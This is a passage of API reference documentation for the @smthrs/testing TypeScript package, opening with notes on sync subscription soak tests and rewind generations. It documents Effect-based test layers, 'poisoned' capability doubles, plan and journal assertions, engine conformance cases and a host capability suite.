Subscription fan-out is held to budgets, not only to frame assertions. The
package's soak suite runs five concurrent workspace subscribers and requires an
identical frame set from each, drains 200 subscribe and complete cycles and
requires every per-run journal stream to be released afterwards, and soaks 200
five-subscriber rounds under a retained-heap budget. A regression that retains
per-subscriber state satisfies every frame assertion elsewhere, so those are
the checks that catch it.

The optional [long soak tier](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/docs/guides/run-a-long-soak.md) adds repeated
post-warmup resource samples, growth slopes, real TCP reconnects, on-disk
compaction and checkpoint retention, and a stalled subscriber. It writes a
machine-verifiable JSON artifact; ordinary PR gates do not start a timed run.

### Rewind generations

`ReadRequest` and `SubscribeRequest` carry `protocolVersion: 1`. The server
refuses a missing or different version with typed `protocol_violation`.
Server cursors and entry frames always carry a nonnegative `generation`,
including zero; a client refuses missing response generations with the same
error before delivery. Persisted request cursors may omit generation for zero.
Persist the returned
generation alongside `afterSeq`. A mismatch raises `lineage_changed` before
sequence deduplication. Server errors carry
`rewind: { runId, generation, afterSeq }`, where `afterSeq` is the archive
boundary (`-1` for a full reset). Rebuild the projection from the current
retained history through that boundary, create a fresh client, and resume from
that position. Idle subscriptions check generations at
`tailIntervalMs`, as well as around journal reads.

## Presence coordinates

`BranchProtocol.PresenceWhere` validates file coordinates (a nonempty path and
optional positive integer line), a terminal id, a step label, or a branch.
`Participant.where` is optional so recorded frames without coordinates decode.
A Leave with `sessionId` removes that seat; without it, Leave removes every seat
for the participant, after verifying ownership of all matching seats.

---

# @smthrs/testing
https://smithers.sh/docs/reference/api/testing/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/testing/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/testing/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/testing/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/engine`](/docs/reference/api/engine/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/model`](/docs/reference/api/model/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/platform-browser`](/docs/reference/api/platform-browser/) · [`@smthrs/scorers`](/docs/reference/api/scorers/)

`@smthrs/testing` exports twenty-four modules from its root entry point, and each is
also importable from `@smthrs/testing/<Module>`:

```ts
import { Conformance, EngineSubject, TestLayers } from "@smthrs/testing"
// or
import * as TestLayers from "@smthrs/testing/TestLayers"
```

Seven modules are reachable only by subpath. `TestHost` is the deterministic
host bundle and stays explicit at `@smthrs/testing/TestHost`. `Vitest` is ESM only, because
`vitest` refuses to load through `require()` and a barrel that carried it would
break `require("@smthrs/testing")` for every CommonJS consumer of the assertion
helpers. `Faults` is a set of real, machine-global process primitives rather
than a double, and keeping it off the barrel keeps that visible at the import
site.
`ProcessTable` spawns `ps` through `node:child_process`, which browser test
hosts cannot load, so it lives at `@smthrs/testing/ProcessTable`.
`ModelServer` listens through `node:http`, `ModelServerCli` reads the fixture
file through `node:fs`, and `TurnLog` appends its trace through `node:fs`, so
they live at `@smthrs/testing/ModelServer`, `@smthrs/testing/ModelServerCli`
and `@smthrs/testing/TurnLog`.

`@smthrs/testing/internal/*` and `@smthrs/testing/*/index` are not public.
`@smthrs/testing/package.json` is exported.

The package holds no runner. Every assertion is an ordinary `Effect`, every
conformance case is a value a runner registers, and `Vitest` is a thin adapter.
Services and tags are Effect constructs: a `Layer` provides a service, and a
test body reads it from context.

## Example

```ts
import { Conformance, EngineSubject, FlowEngineLike } from "@smthrs/testing"
import { describe, it } from "@smthrs/testing/Vitest"
describe("engine conformance", () => {
  for (const c of Conformance.coreSuite()) {
    it.scoped(
      c.name,
      () => Effect.flatMap(EngineSubject.EngineSubject, c.run).pipe(Effect.provide(FlowEngineLike.layerMemory))
    )
  }
})
```

## Vitest

The Vitest adapter for scoped Effect test bodies, and the only module here that
imports a test runner. The runner boundary is also the only sanctioned
`AbortSignal` touch in the package: cancellation is converted to fiber
interruption at the edge, and the signal never crosses into Effect code.

```ts
import { describe, expect, it, testEffect } from "@smthrs/testing/Vitest"
```

### Vitest.it

```ts
const it: typeof EffectVitest.it & { readonly scoped: typeof EffectVitest.it.effect }
```

The Effect-aware `it`, with `scoped` aliased onto `it.effect`.

It is a fresh callable built as a `Proxy` over `@effect/vitest`'s own `it`,
never by writing into it. That module is externalized and shared across every
test file in a worker process, so mutating its exports would replace
`it.scoped` for every other file in that worker. A copy would not work either:
vitest defines the chainable members of `it` as accessors, which
`Object.assign` silently drops.

### Vitest.assert, Vitest.describe, Vitest.expect

Re-exported from `vitest` unchanged, so a suite needs one import.

### Vitest.TestEffect

```ts
interface TestEffect<R> {
  readonly effect: EffectTest<R>
  readonly live: EffectTest<R>
  readonly scoped: EffectTest<R>
  readonly skip: TestRegistration<R>
  readonly only: TestRegistration<R>
}
```

The Effect-aware registrars, each carrying the requirements `R` a body may use.
`effect` runs under the test clock; `live` runs under the real one. Every
variant already wraps its body in `Effect.scoped`, so `scoped` is an alias of
`effect` retained because a scoped body reads better under that name. Each
`EffectTest` also carries `skip` and `only`.

Each registration takes a name, a body, and an optional third argument that is
either a timeout in milliseconds or a vitest `TestOptions`.

### Vitest.testEffect

```ts
const testEffect: <R, E>(layer: Layer.Layer<R, E>) => TestEffect<R>
```

Builds a **fresh** environment from the supplied layer for every test case and
runs each body in its own `Scope`, so no state, including the deterministic
variant's `TestClock`, is shared between tests and no test can depend on
registration order.

## TestLayers

Deterministic test layer bundles. A tier is a layer set, not a class; see
[Test tiers](https://github.com/smithersai/smithers/blob/main/packages/testing/docs/concepts/test-tiers.md).

### TestLayers.unit

```ts
const unit: <R, E>(
  engine: Layer.Layer<EngineSubject, E, R>
) => Layer.Layer<
  EngineSubject | Journal | Kernel.GrantStore.GrantStore | TestHost.TestHost,
  Kernel.Permission.GrantStoreError | SqlError | MigrationError | JournalError | E,
  R
>
```

The unit-tier bundle: a deterministic `TestHost`, an in-memory `TestJournal`,
the supplied engine subject, and the **real** permission kernel. The
`GrantStore` is built unattended over a test `Workspace`, so a sealing
violation fails typed instead of suspending. Sealing violations fail in tests
exactly as they do in production, which is the point of not stubbing the
kernel.

### TestLayers.poisoned

```ts
const poisoned: Layer.Layer<Kernel.HostServices.HostService | ModelLike>
```

A plan-time bundle in which `FileSystem`, `Path`, the shell spawner, `Jj`, the
HTTP client, the model, the clock, and randomness all reject instead of
reaching a real environment. It deliberately does not provide an engine.

Each poisoned service is a `Proxy` whose property getter **throws** a
`CapabilityContractError` carrying the `capability` and the `operation`. A
throw is neither a function-valued answer (which made a synchronous data read
such as `Path.sep` succeed) nor an `Effect.fail` (which a plan body could
swallow with `Effect.catch`, `Effect.option`, or `Effect.result`). It fires on
a data read as loudly as on a method call, and `Effect.catchTag` cannot reach
it.

A small set of property names answers `undefined` instead of throwing, because
a runtime reads them to classify a value rather than to use it: `$$typeof`,
`_id`, `_op`, `_tag`, `asymmetricMatch`, `catch`, `constructor`, `finally`,
`inspect`, `nodeType`, `then`, `toJSON`, `toString`, and `valueOf`. That is
what lets a poisoned service still be stored, logged, and awaited past.

The poisoned model dies rather than fails, so a stream that reaches it is a
defect.

### TestLayers.poisonedClockAndRandom

```ts
const poisonedClockAndRandom: Layer.Layer<never>
```

Poisoned `Clock` and `Random` references, exported separately because both are
`Context.Reference`s with ambient defaults: their poisoning cannot appear in a
layer's output type. Provide this beneath a bundle and any unprovided time or
randomness access fails loudly instead of silently using the Effect defaults.
`poisoned` already includes it.

## PlanLike

Read-only plan introspection types. These are the shapes the plan assertions
read, so a caller can project any planner onto them.

### PlanLike.PlanLike

```ts
interface PlanLike {
  readonly nodes: ReadonlyArray<PlanNodeLike>
  readonly edges: ReadonlyArray<{ readonly from: string; readonly to: string }>
  readonly envelope?: Record<string, unknown>
  readonly digest?: string
}
```

### PlanLike.PlanNodeLike

```ts
interface PlanNodeLike {
  readonly id: string
  readonly key: string
  readonly kind: string
  readonly placement?: PlanPlacementLike
  readonly effects: ReadonlyArray<string>
  readonly mode?: string
  readonly tier: string
  readonly sealed: boolean
}
```

The fields mirror what [`@smthrs/flow`](/docs/reference/api/flow/)'s `Graph.GraphNode` carries.
`mode` is the boundary mode of the node's own effect declaration (`hard` or
`expected`), omitted when the node declared none. `tier` is the tier the node
is keyed under (`sealed`, `compensable`, or `irreversible`), and every node has
one. `effects` entries are declared `read:<path>`, `write:<path>`, and
`remove:<path>` strings, or an empty list when the node declared none.

There is no per-node conflict strategy or envelope: write overlap is
`Plan.compile`'s verdict, and an effect envelope is a build-time ceiling
`Graph.build` checks a declaration against rather than a fact it records on a
node.

### PlanLike.PlanPlacementLike

```ts
interface PlanPlacementLike {
  readonly tag: string
  readonly options: Readonly<Record<string, unknown>>
}
```

A serializable projection of a node's placement directive: the placement tag
plus its option payload.

## Plan

Pure projection and presentation helpers for built plans. Plan projection never
touches Host, Model, or Clock, and is expected to succeed under
`TestLayers.poisoned`.

### Plan.planOf

```ts
const planOf: <F extends Flow.Any>(
  flow: F,
  input: unknown,
  options?: PlanOfOptions
) => Effect.Effect<PlanLike, Schema.SchemaError, F["payloadSchema"]["DecodingServices"]>
```

Decodes the flow payload through the flow's declared payload schema, then
builds and projects the plan. Un-defaulted input cannot reach a plan: the
schema's defaults are applied by construction before planning sees the value.
Building and projecting are pure, so this fails only on schema decoding.

### Plan.fromGraph

```ts
const fromGraph: (graph: Graph.Graph, options?: FromGraphOptions) => PlanLike
```

Projects [`@smthrs/flow`](/docs/reference/api/flow/)'s graph introspection API into a
`PlanLike`. Keys come from each node's draft material by default; the `key`
resolver in the options is a test-only override for fixtures that need
synthetic keys.

### Plan.keys

```ts
const keys: (graph: Graph.Graph, options?: KeysOptions) => Record<string, string>
```

Derives every node's step key from the graph's draft key material. Sealed
material becomes a content key through `StepKey.fromKeyMaterial`, with
dependency references resolved to previously derived keys in the graph's own
dependency order. Every other tier becomes a run-local ordinal key, scoped to
`options.runId`, which defaults to `"plan"`. A graph holding a fatal build
refusal has no drafts and therefore no keys: `Graph.drafts` raises that refusal
rather than keying a truncated topology.

The material is handed over verbatim, so a sealed node's key here is the key
the persisted plan records. A non-sealed node's is not: `Plan.compile`
fingerprints every declaration with `StepKey.planIdentity`, which keys a
non-sealed tier in the `plan-declaration` namespace, while this helper keys it
as the run-local `ordinal` the engine dispatches under.

### Plan.make

```ts
const make: (plan: PlanLike) => PlanLike
```

Copies a built plan into a stable presentation order: nodes sorted by id,
edges sorted by endpoint, each node's effects sorted. Node ids, edge endpoints,
keys, envelopes, and every other semantic field are retained verbatim. It is
deliberately not a graph traversal or a key computation helper.

### Plan.render

```ts
const render: (plan: PlanLike) => string
```

Renders a plan as a stable, line-oriented canonical string. Nodes and edges
appear in the deterministic order of `make`, and object payloads render with
sorted keys. Byte-identical output for semantically identical plans is what
makes this the substrate for snapshot assertions.

### Plan.node

```ts
const node: (plan: PlanLike, id: string) => PlanNodeLike | undefined
```

### Plan.edge

```ts
const edge: (value: PlanLike["edges"][number]) => string
```

Renders one edge as `from -> to`.

### Plan.Plan, Plan.Node

Deprecated compatibility aliases for `PlanLike` and `PlanNodeLike`. Use the
shapes exported by `@smthrs/testing/PlanLike`. `make` returns `PlanLike` with
sorted presentation collections; the types do not encode ordering.

### Plan.KeysOptions, Plan.FromGraphOptions, Plan.PlanOfOptions

```ts
interface KeysOptions {
  readonly runId?: string | undefined
}

interface FromGraphOptions {
  readonly key?: ((node: Graph.GraphNode) => string) | undefined
  readonly runId?: string | undefined
  readonly envelope?: Record<string, unknown> | undefined
  readonly digest?: string | undefined
}

interface PlanOfOptions extends FromGraphOptions {
  readonly build?: Graph.BuildOptions | undefined
}
```

## PlanAssertions

Pure assertions for already-built plan graphs. Every assertion is an
`Effect.Effect<void, PlanAssertionError>`.

### PlanAssertions.expectPlan

```ts
const expectPlan: (plan: PlanLike) => PlanAssertions
```

Creates fluent pure assertions for a built plan.

```ts
interface PlanAssertions {
  readonly nodeCount: (expected: number) => Effect.Effect<void, PlanAssertionError>
  readonly contains: (id: string) => Effect.Effect<void, PlanAssertionError>
  readonly edges: (pairs: ReadonlyArray<Edge>, options?: EdgeOptions) => Effect.Effect<void, PlanAssertionError>
  readonly keys: (expected: Readonly<Record<string, string>>) => Effect.Effect<void, PlanAssertionError>
  readonly placement: (id: string, expected: PlacementExpectation) => Effect.Effect<void, PlanAssertionError>
  readonly declaresEffects: (id: string, expected: ReadonlyArray<string>) => Effect.Effect<void, PlanAssertionError>
  readonly envelope: (expected: Record<string, unknown> | undefined) => Effect.Effect<void, PlanAssertionError>
  readonly matchesSnapshot: (expected: string) => Effect.Effect<void, PlanAssertionError>
  readonly node: (id: string) => NodeAssertions
}
```

`edges` asserts the pairs are present and, with `{ exact: true }`, refuses any
edge outside them. `declaresEffects` sorts both sides. `matchesSnapshot`
compares `Plan.render` output and reports a line diff on a mismatch. A missing
node id fails with `missing_node` and lists the ids the plan does have.
Value comparisons run when the returned Effect executes. Envelope and placement
mismatch diagnostics use the shared structural renderer: cycles and depth limits
produce markers, and record accessors are described without invoking getters.
These mismatches remain typed `PlanAssertionError` failures.

### PlanAssertions.NodeAssertions

```ts
interface NodeAssertions {
  readonly key: (expected: string) => Effect.Effect<void, PlanAssertionError>
  readonly placement: (expected: PlacementExpectation) => Effect.Effect<void, PlanAssertionError>
  readonly mode: (expected: string | undefined) => Effect.Effect<void, PlanAssertionError>
  readonly tier: (expected: string) => Effect.Effect<void, PlanAssertionError>
  readonly declaresEffects: (expected: ReadonlyArray<string>) => Effect.Effect<void, PlanAssertionError>
}
```

Assertions scoped to a single built node, returned by `expectPlan(plan).node(id)`.
A conflict strategy and an envelope are not among them: the graph carries
neither on a node.

### PlanAssertions.expectKeyGoldens

```ts
const expectKeyGoldens: (
  actual: Readonly<Record<string, string>>,
  golden: Readonly<Record<string, string>>
) => Effect.Effect<void, PlanAssertionError>
```

Asserts key digests against checked-in goldens: the same logical input must
keep producing byte-identical `key1_` keys. A miss fails with
`key_golden_mismatch` and names the drift as a cache-identity break.

### PlanAssertions.expectPure

```ts
const expectPure: <A, E, R>(computation: Effect.Effect<A, E, R>) => Effect.Effect<A, PlanAssertionError, R>
```

Runs a plan computation that must be pure. Any failure or defect, for example a
poisoned Host or Model capability reached during planning, is surfaced as a
`purity_violation`.

The original value travels in the error's `actual` field, not only in the
message. The poisoned layers raise a `CapabilityContractError` carrying
`capability` and `operation` as typed fields precisely so a consumer can
separate "the plan called `FileSystem.readFile`" from "the plan called
`Jj.status`" from "the input schema failed to decode". Stringifying collapsed
all three into prose a test could only match with a regular expression.

### PlanAssertions.expectPlans

```ts
const expectPlans: (plans: ReadonlyArray<PlanLike>) => PlansAssertions
```

```ts
interface PlansAssertions {
  readonly covers: (ids: ReadonlyArray<string>, options?: CoverageOptions) => Effect.Effect<void, PlanAssertionError>
}
```

Static coverage across a suite of built plans. `CoverageOptions.allowUnreached`
takes node ids or `*` patterns that may be absent.

### PlanAssertions.PlacementExpectation, Edge, EdgeOptions, CoverageOptions

```ts
type PlacementExpectation =
  | string
  | { readonly tag: string; readonly options?: Readonly<Record<string, unknown>> | undefined }
  | undefined

type Edge = readonly [from: string, to: string] | { readonly from: string; readonly to: string }

interface EdgeOptions {
  readonly exact?: boolean | undefined
}

interface CoverageOptions {
  readonly allowUnreached?: ReadonlyArray<string> | undefined
}
```

A bare tag, or a tag whose `options` is omitted, compares only the tag.

## JournalAssertions

Effect-valued assertions over a flow journal.

### JournalAssertions.expectJournal

```ts
const expectJournal: (unordered: ReadonlyArray<JournalEntryLike>) => JournalExpectations
```

Builds fluent assertions over journal entries. Entries are read in
`entry.index` order rather than in the order the caller supplied them, because
ordering is data: an engine that reads its journal from a store with no
`ORDER BY`, or a caller that filtered and re-concatenated, hands over the same
entries in another order, and every assertion must still answer about the same
entry.

```ts
interface JournalExpectations {
  readonly executed: (stepKey: string) => Effect.Effect<void, JournalAssertionError>
  readonly executedInOrder: (keys: ReadonlyArray<string>) => Effect.Effect<void, JournalAssertionError>
  readonly terminal: (status: TerminalStatus) => Effect.Effect<void, JournalAssertionError>
  readonly effect: (key: string) => EffectExpectations
  readonly prefix: (untilIndex: number) => ReadonlyArray<JournalEntryLike>
}
```

`executedInOrder` asserts the keys appear as a **subsequence**: every key in
turn, in this relative order, with any other entries allowed between and around
them. It is not a contiguous or an exhaustive match. `terminal` asserts the
outcome of the entry with the highest `index`. `prefix` returns the raw entries
whose `index` is at most `untilIndex`, in index order.

### JournalAssertions.EffectExpectations

```ts
interface EffectExpectations {
  readonly atLeastOnce: () => Effect.Effect<void, JournalAssertionError>
  readonly journaledAtMostOnce: () => Effect.Effect<void, JournalAssertionError>
  readonly idempotencyKey: (key: string) => Effect.Effect<void, JournalAssertionError>
  readonly exactlyOnce: () => Effect.Effect<void, ExactlyOnceUnsupportedError>
}
```

Assertions about the journaled external **effect** entries under one key. An
ordinary step entry sharing the key never satisfies them: it fails with
`effect_kind_mismatch`. A key that appears nowhere still satisfies
`journaledAtMostOnce`, because nothing was journaled more than once.

`idempotencyKey` distinguishes three situations with three codes:
`effect_not_executed`, `missing_idempotency_key`, and
`idempotency_key_mismatch`.

`exactlyOnce` always fails. An engine can prove at-least-once delivery and
at-most-once journaling, but it cannot prove exactly-once external effect
execution. Keeping the method deliberately failing prevents the test vocabulary
from claiming a guarantee the engine does not provide.

### JournalAssertions.TerminalStatus

```ts
type TerminalStatus = "completed" | "aborted" | "failed" | "suspended"
```

## Divergence

Deterministic journal divergence attribution.

### Divergence.firstDivergence

```ts
const firstDivergence: (
  expected: ReadonlyArray<JournalEntryLike>,
  actual: ReadonlyArray<JournalEntryLike>
) => Option.Option<Divergence>
```

Finds the first differing journal entry, reporting the entry index and the
first differing field. Every field a `JournalEntryLike` carries is compared,
`index` included: two journals whose entries disagree about their own position
are not the same journal.

Values are compared through the shared canonical rendering, which distinguishes
two different `Date`s, a `Map` from a `Set`, `-0` from `0`, `NaN` from
`Infinity`, and ordinary records from special-value markers. Record and array
accessors compare by getter/setter identity without invocation. Cycles use
markers. Sparse array holes differ from `undefined`. Objects at the 128-level
depth limit or whose inspection throws compare by process-local reference
identity. Value rendering does not throw; differing values fail through
`assertNoDivergence` with `FixtureDivergenceError`. Entries must satisfy the
`JournalEntryLike` data shape.

### Divergence.assertNoDivergence

```ts
const assertNoDivergence: (
  expected: ReadonlyArray<JournalEntryLike>,
  actual: ReadonlyArray<JournalEntryLike>
) => Effect.Effect<void, FixtureDivergenceError>
```

Fails with the first journal divergence. CI callers must report this failure
rather than silently re-recording the fixture.

### Divergence.Divergence

```ts
interface Divergence {
  readonly index: number
  readonly field: string
  readonly expected: unknown
  readonly actual: unknown
}
```

## EngineSubject

The black-box engine **subject** seam used by conformance pins. A pin drives an
arbitrary engine implementation through it and asserts on the journal it
produced.

It is deliberately distinct from the production harness port `EngineLike` in
[`@smthrs/harness`](/docs/reference/api/harness/), whose members are `sealStep`, `splice`, and
`suspend`. That port is the seam the built-in harness consumes; this one is the
seam a test drives. The two are never interchangeable.

### EngineSubject.EngineSubject

```ts
interface EngineSubject {
  readonly name: string
  readonly run: (options: {
    readonly flow: FlowSpec
    readonly payload: unknown
    readonly executionId?: string
    readonly idempotencyKey?: string
  }) => Effect.Effect<ExecutionResult, EngineSubjectError>
  readonly result: (executionId: string) => Effect.Effect<ExecutionResult, EngineSubjectError>
  readonly interrupt: (executionId: string) => Effect.Effect<void, EngineSubjectError>
  readonly resume: (executionId: string) => Effect.Effect<ExecutionResult, EngineSubjectError>
  readonly journal: (executionId: string) => Effect.Effect<ReadonlyArray<JournalEntryLike>, EngineSubjectError>
}

const EngineSubject: Context.Service<EngineSubject, EngineSubject>
```

The interface and its service tag share the name.

### EngineSubject.make, layer, makeNoop, layerNoop

```ts
const make: (implementation: EngineSubject) => EngineSubject
const layer: (implementation: EngineSubject) => Layer.Layer<EngineSubject>
const makeNoop: (overrides?: Partial<EngineSubject>) => EngineSubject
const layerNoop: (overrides?: Partial<EngineSubject>) => Layer.Layer<EngineSubject>
```

`makeNoop` fails every operation with `EngineUnavailableError`. Overrides
replace individual methods, which is how a partial subject is assembled.

### EngineSubject.FlowSpec and StepSpec

```ts
interface FlowSpec {
  readonly name: string
  readonly steps: ReadonlyArray<StepSpec>
}

type StepSpec =
  | {
    readonly key: string
    readonly sealed: boolean
    readonly kind: "step"
    readonly run: (input: unknown) => Effect.Effect<unknown, unknown>
  }
  | {
    readonly key: string
    readonly sealed: boolean
    readonly kind: "race"
    readonly branches: ReadonlyArray<StepSpec>
  }
```

A conformance flow is described only by its ordered steps, which is the
subject-neutral shape every engine under test is driven with.

`sealed` selects the step's **identity**, not whether a replay may reuse a
recorded result: both kinds replay their recorded outcome. Sealed means content
identity, so every aliased occurrence of the key shares one recorded result.
Unsealed means occurrence identity, so duplicate declared keys run and journal
separately.

A step body's error channel is `unknown` because the pin chooses the failure
value it wants the subject to journal. It is not a laundered engine error.

### EngineSubject.JournalEntryLike and ExecutionResult

```ts
interface JournalEntryLike {
  readonly index: number
  readonly stepKey: string
  readonly kind: string
  readonly outcome: "completed" | "aborted" | "failed" | "suspended"
  readonly value?: unknown
}

interface ExecutionResult {
  readonly executionId: string
  readonly status: "completed" | "aborted" | "failed" | "suspended"
  readonly value?: unknown
}
```

An engine's own richer entry is projected onto `JournalEntryLike` before
comparison.

## Conformance

Runner-independent conformance cases for flow engine implementations.

### Conformance.coreSuite

```ts
const coreSuite: (options?: {
  readonly filter?: ((conformanceCase: ConformanceCase) => boolean) | undefined
}) => ReadonlyArray<ConformanceCase>
```

Builds the mandatory black-box suite every `EngineSubject` must pass:
identity, interruption, replay, and race. This is the whole conformance
vocabulary; there is no second entry point.

The returned array is a frozen copy, and each case record is frozen too.
`ReadonlyArray` is erased at runtime, and losing a mandatory pin is the worst
failure a conformance registry has.

The race and interrupt cases advance time through `TestClock`, so a runner must
register them under a deterministic clock: `Vitest.testEffect(...)` supplies
one through `.effect` and its `scoped` alias, but not through `.live`.

The nine case names are:

| Name                               | What it holds the engine to                                                                      |
| ---------------------------------- | ------------------------------------------------------------------------------------------------ |
| `identity/distinct-executions`     | Two runs of one flow and payload, with no idempotency key, are two independent executions.       |
| `identity/idempotency-key`         | A repeated idempotency key returns the first execution instead of starting a second.             |
| `identity/digest-key-stability`    | Sealed aliases sharing one digest reuse one recorded result; unsealed duplicates run separately. |
| `interrupt/fiber-abort`            | An interrupt reaches the live body fiber, and the journal records the outcome.                   |
| `replay/completed-prefix`          | A resume replays the completed prefix and continues at the first unfinished step.                |
| `replay/suspended-frontier`        | A suspended execution resumes from its frontier.                                                 |
| `race/loser-interrupted`           | The losing branch is interrupted and journaled as `aborted`.                                     |
| `race/recorded-winner-replay`      | A replay reconstructs the journaled winner under inverted timing.                                |
| `race/recorded-loser-interruption` | The loser's recorded interruption replays as recorded.                                           |

### Conformance.ConformanceCase

```ts
interface ConformanceCase {
  readonly name: string
  readonly run: (engine: EngineSubject) => Effect.Effect<void, ConformanceViolation | EngineSubjectError>
}
```

The error channel is the closed union every pin already produces, never
`unknown`: a subject that laundered a foreign cause into `unknown` could not be
matched on by the runner that reports it.

## MemoryEngine

The reference in-memory flow engine, with an externally owned replay store.

### MemoryEngine.makeStore

```ts
const makeStore: () => Effect.Effect<EngineStore>
```

Creates an empty persistent store for memory-engine executions. The store owns
flow specifications, journals, terminal results, and the idempotency index.
Live fibers are intentionally engine-local.

### MemoryEngine.make

```ts
const make: (store: EngineStore) => Effect.Effect<EngineSubject, never, Scope.Scope>
```

Constructs an in-memory engine whose durable state is held by `store`. Closing
the construction scope interrupts only this engine instance's live fibers. A
fresh engine built with the same store replays completed journal entries and
continues at the first unfinished step.

### MemoryEngine.layer

```ts
const layer: (store: EngineStore) => Layer.Layer<EngineSubject>
```

### MemoryEngine.EngineStore

```ts
interface EngineStore
```

Persistent state shared by one or more in-memory engine instances. Its contents
are opaque; construct one with `makeStore` and pass it to `make` or `layer`.

## RestartableEngine

A stable engine facade over one persistent `MemoryEngine` store, with controls
for replacing the live instance.

### RestartableEngine.make

```ts
const make: () => Effect.Effect<Restartable, EngineUnavailableError, Scope.Scope>
```

### RestartableEngine.Restartable

```ts
interface Restartable {
  readonly engine: EngineSubject
  readonly restart: Effect.Effect<void, EngineUnavailableError>
  readonly kill: Effect.Effect<void, EngineUnavailableError>
  readonly restartAndResume: (executionId: string) => Effect.Effect<ExecutionResult, EngineSubjectError>
  readonly killAndResume: (executionId: string) => Effect.Effect<ExecutionResult, EngineSubjectError>
}
```

`engine` is a stable facade that always delegates to the current instance.

`restart` closes the outgoing instance's scope, so its fibers are interrupted
and its finalizers run: the orderly shutdown a process performs when it is
asked to stop.

`kill` replaces the live instance **without** closing the one it replaces. It
runs neither interruption nor finalizers, so the abandoned instance keeps
whatever it held, exactly as `SIGKILL` leaves a durable owner holding a run it
will never release. That is the state lease-based reclaim has to recover from.
The abandoned scope is still closed when the harness's own scope closes, so a
killed instance leaks nothing past the test that killed it.

`restartAndResume` and `killAndResume` are those two followed by `resume` on
the fresh instance. Only `killAndResume` produces the hard-kill state.

## FlowEngineLike

The `EngineSubject` adapter over the real engine from
[`@smthrs/engine`](/docs/reference/api/engine/). This is the authoritative subject for the core
conformance operations: identity, replay, race, and interruption run against
the production engine rather than a test-only model.

The adapter registers each `FlowSpec` as a real `Flow` whose execute function
runs every step as an `Action`. A sealed step declares its spec key as the
activity idempotency key, so the engine derives content identity from it and
aliased sealed steps replay one recorded result. An unsealed step declares no
idempotency key, so the engine derives occurrence identity. A race step runs
through `Action.raceAll`, the engine's durable race.

Cancellation uses `FlowRuntime.interrupt`, the durable engine's only
cancellation path: the release policy requires `interruptUnsafe` to fail there
with `unsafe_interrupt_unsupported`, so an adapter built on the unsafe path
could not run a single interrupt pin against the engine that ships.

### FlowEngineLike.make

```ts
const make: () => Effect.Effect<EngineSubject, never, Scope.Scope | FlowRuntime.FlowRuntime | Crypto.Crypto>
```

Constructs an `EngineSubject` over the flow engine in the ambient
`FlowRuntime` service. Each `run` registers the spec's flow scoped to the
construction scope, starts the execution, and waits on a completion latch until
it settles as completed, aborted, failed, or suspended.

### FlowEngineLike.layer

```ts
const layer: () => Layer.Layer<EngineSubject, never, FlowRuntime.FlowRuntime | Crypto.Crypto>
```

### FlowEngineLike.layerOver

```ts
const layerOver: <E, R>(
  runtime: Layer.Layer<FlowRuntime.FlowRuntime, E, R>
) => Layer.Layer<EngineSubject | Crypto.Crypto, E, R>
```

Provides an `EngineSubject` over any `FlowRuntime` implementation, and supplies
Web Crypto so the bundle stays zero configuration. This is the seam the
conformance suite binds to: `make` reads the runtime out of the ambient service
and never names an implementation, so the same case list runs against whichever
runtime is provided here.

The durable runtime is `EngineStore.layer({ owner, journalSource })` from
[`@smthrs/engine-store`](/docs/reference/api/engine-store/), which this package does not depend
on and must not. Supplying that layer is the whole connection.

### FlowEngineLike.layerMemory

```ts
const layerMemory: Layer.Layer<EngineSubject | Crypto.Crypto>
```

`layerOver(FlowEngine.layerMemory)`: the engine's in-memory implementation,
ready to certify with no configuration.

## HostSuite

The shared Host capability conformance suite, parameterized by a declared
profile.

### HostSuite.hostSuite

```ts
const hostSuite: (bundle: HostBundle, profile: HostProfile) => ReadonlyArray<HostSuiteCase>
```

Produces the suite. Supported capabilities receive behavioral assertions;
unsupported ones must fail the documented operation with their declared typed
code. The eight case names are `FileSystem round-trips`, `Path normalizes`,
`Shell behavior is deterministic`, `Jj has a declared capability result`,
`HttpTransport has a declared capability result`, `Clock is monotonic`,
`Random produces a valid value`, and
`Scoped resources clean up on fiber interruption`.

### HostSuite.HostProfile

```ts
interface HostProfile {
  readonly fileSystemScratchPath?: string | undefined
  readonly fileSystem: CapabilityExpectation
  readonly path: CapabilityExpectation
  readonly shell:
    | { readonly supported: true; readonly interruptCommand: ChildProcess.Command }
    | { readonly supported: false; readonly code: string }
  readonly jj: CapabilityExpectation
  readonly httpTransport: HttpTransportExpectation
  readonly clock: CapabilityExpectation
  readonly random: CapabilityExpectation
}
```

Every closed-list capability must be declared; omission is not an admission
mechanism.

`fileSystemScratchPath` is the directory the round-trip probe creates, writes a
file inside, and removes even when the write or assertion fails. Nonrecursive
directory creation atomically refuses an existing path, including dangling
symlinks and concurrent creations, with `FileSystem/scratchPath`. Removal is
registered only after successful directory creation. When omitted, the suite
builds a randomized absolute path under
`/tmp` from the bundle's own `Path` and `Random`. A bundle whose platform has
no `/tmp` must declare a path of its own.

A supported `shell` supplies `interruptCommand`, which must stay running until
cancelled. The cleanup case acquires its Host process handle, checks
`isRunning`, interrupts its scoped consumer, and verifies that the handle is
no longer running. An unsupported shell is checked for its refusal code and
does not certify cleanup.

### HostSuite.CapabilityExpectation and HttpTransportExpectation

```ts
type CapabilityExpectation =
  | { readonly supported: true }
  | { readonly supported: false; readonly code: string }

type HttpTransportExpectation =
  | {
    readonly supported: true
    readonly request: HttpClientRequest.HttpClientRequest
    readonly expectedStatus: number
  }
  | { readonly supported: false; readonly code: string }
```

`code` is the stable code expected from the named operation when a capability is
unsupported. HTTP requires an explicit probe target when supported, so the
shared suite never invents a live network call.

### HostSuite.HostBundle

```ts
type HostBundle = Layer.Layer<
  FileSystem.FileSystem | Path.Path | ChildProcessSpawner.ChildProcessSpawner | Jj | HttpClient.HttpClient
>
```

The output shape of the public Host bundle contract. `Clock` and `Random` are
`Context.Reference`s, so they cannot appear here; the suite enforces them
behaviorally instead, running those cases over a poisoned base so a bundle that
supplies neither fails loudly rather than silently using the Effect defaults.

